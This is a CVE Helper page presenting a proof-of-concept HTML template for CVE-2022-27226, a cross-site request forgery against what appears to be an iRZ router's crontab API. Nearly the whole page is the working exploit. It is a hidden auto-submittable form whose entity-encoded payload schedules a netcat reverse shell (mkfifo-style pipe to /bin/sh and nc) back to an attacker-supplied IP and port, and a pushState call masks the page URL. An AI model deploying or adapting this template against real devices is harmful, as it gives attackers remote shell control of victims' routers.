CVE-2022-27226 – CVE Helper

README.md
Rendering markdown...
POC / poc.template.html HTML
⬇ Raw GitHub ✕ Close
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://{router_ip}:{router_port}/api/crontab" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;tasks&quot;&#58;&#91;&#123;&quot;enable&quot;&#58;true&#44;&quot;minutes&quot;&#58;&quot;&#42;&quot;&#44;&quot;hours&quot;&#58;&quot;&#42;&quot;&#44;&quot;days&quot;&#58;&quot;&#42;&quot;&#44;&quot;months&quot;&#58;&quot;&#42;&quot;&#44;&quot;weekdays&quot;&#58;&quot;&#42;&quot;&#44;&quot;command&quot;&#58;&quot;rm&#32;&#47;tmp&#47;f&#59;mknod&#32;&#47;tmp&#47;f&#32;p&#59;cat&#32;&#47;tmp&#47;f&#124;&#47;bin&#47;sh&#32;&#45;i&#32;2&gt;&amp;1&#124;nc&#32;{lhost_ip_octect_1}&#46;{lhost_ip_octect_2}&#46;{lhost_ip_octect_3}&#46;{lhost_ip_octect_4}&#32;{lhost_port}&#32;&gt;&#47;tmp&#47;f&quot;&#125;&#93;&#44;&quot;&#95;board&quot;&#58;&#123;&quot;name&quot;&#58;&quot;RL21&quot;&#44;&quot;platform&quot;&#58;&quot;irz&#95;mt02&quot;&#44;&quot;time&quot;&#58;&quot;Tue&#32;Mar&#32;15&#32;23&#58;58&#58;33&#32;UTC&#32;2022&quot;&#125;&#125;" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>